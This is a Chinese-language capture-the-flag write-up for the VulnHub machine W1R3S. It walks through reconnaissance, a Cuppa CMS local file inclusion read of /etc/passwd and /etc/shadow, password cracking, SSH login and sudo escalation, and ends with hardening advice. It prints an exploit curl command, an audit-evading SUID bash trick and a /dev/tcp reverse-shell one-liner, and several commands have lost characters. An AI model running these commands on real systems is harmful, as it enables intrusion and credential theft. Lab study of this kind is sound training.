【靶机精讲】W1R3S.v1.0.1:从Cuppa CMS文件包含到Linux权限提升的完整攻击链分析

发布时间:2026/7/16 3:58:40

【靶机精讲】W1R3S.v1.0.1:从Cuppa CMS文件包含到Linux权限提升的完整攻击链分析 1. 靶机环境搭建与信息收集W1R3S.v1.0.1是VulnHub平台上经典的Linux靶机模拟了企业级CMS系统的安全漏洞场景。我建议使用VMware Workstation Pro 16或VirtualBox 6.1运行靶机网络模式选择NAT或桥接均可。这里有个小技巧如果发现靶机IP不显示可以尝试在攻击机上执行arp-scan -l --interfaceeth0这个命令比常规的ifconfig更直接有效能快速识别同一网段内的所有活跃主机。当发现靶机IP后例如192.168.1.105就该进入正式的端口扫描阶段。我习惯使用组合式扫描策略先用快速扫描定位开放端口再针对性地进行深度探测nmap -sS -T4 -p- 192.168.1.105 -oN quick_scan.txt nmap -sV -sC -O -p21,22,80,3306 192.168.1.105 -oN detail_scan.txt参数解释-sSSYN半开扫描速度快且不易被检测-T4加速扫描过程-p-全端口扫描1-65535-sV服务版本探测-sC默认脚本扫描扫描结果通常会显示80端口的HTTP服务运行着Cuppa CMS这是我们的重点突破方向。此时可以启动目录爆破我推荐使用gobuster搭配directory-list-2.3-medium.txt字典gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html2. Cuppa CMS文件包含漏洞深度利用在/administrator/installation/目录发现的安装页面是重要突破口。通过指纹识别确认CMS版本后使用searchsploit查找公开漏洞searchsploit Cuppa CMS下载25971.txt漏洞说明文件后会发现/alerts/alertConfigField.php存在本地文件包含(LFI)漏洞。这里有个关键细节新版本PHP对路径遍历做了限制需要使用URL编码绕过curl -s --data-urlencode urlConfig../../../../../../../../../etc/passwd http://192.168.1.105/administrator/alerts/alertConfigField.php漏洞原理深度解析 这个LFI漏洞源于未对urlConfig参数做路径规范化检查攻击者通过../穿越目录时PHP的include()函数会直接加载目标文件。现代PHP版本虽然有限制但URL编码后的%2e%2e%2f仍能被解析为../。实战中我建议先获取以下关键文件/etc/passwd确认用户列表/etc/shadow获取密码哈希/var/www/html/config.php可能包含数据库凭证获取shadow文件后用john破解哈希时要注意加密算法标识john --formatsha512crypt shadow.txt3. 横向移动与SSH凭证利用通过破解的shadow文件获得w1r3s用户的密码后SSH登录前建议先检查密钥认证ssh w1r3s192.168.1.105 -o PreferredAuthenticationspassword -o PubkeyAuthenticationno成功登录后立即执行sudo -l检查权限这是容易被忽视的关键步骤。在W1R3S靶机中会发现惊喜User w1r3s may run the following commands on W1R3S: (ALL : ALL) ALL这个配置意味着当前用户可以通过sudo执行任何命令等同于root权限。但直接使用sudo su可能触发审计日志更隐蔽的方式是sudo /bin/bash -c chmod s /bin/bash这会给bash添加SUID位之后通过bash -p就能获得root shell。不过在本靶机中更简单的方法是直接创建反弹shellecho bash -i /dev/tcp/192.168.1.100/4444 01 | sudo /bin/bash4. Linux权限提升的防御对策完成攻击后我们需要从防御角度思考如何避免此类漏洞CMS安全加固及时更新CMS到最新版本删除/installation/等调试目录在php.ini中设置open_basedir限制文件访问范围系统权限控制遵循最小权限原则配置sudo使用visudo命令编辑配置避免语法错误示例安全配置w1r3s ALL(ALL) /usr/bin/apt, /usr/bin/systemctl restart apache2SSH安全增强# 禁用密码认证 echo PasswordAuthentication no /etc/ssh/sshd_config # 限制sudo用户来源IP echo sshd: 192.168.1.* /etc/hosts.allow最后获取flag时别忘了检查隐藏文件sudo find / -name *flag* -o -name *proof* -type f 2/dev/null

相关新闻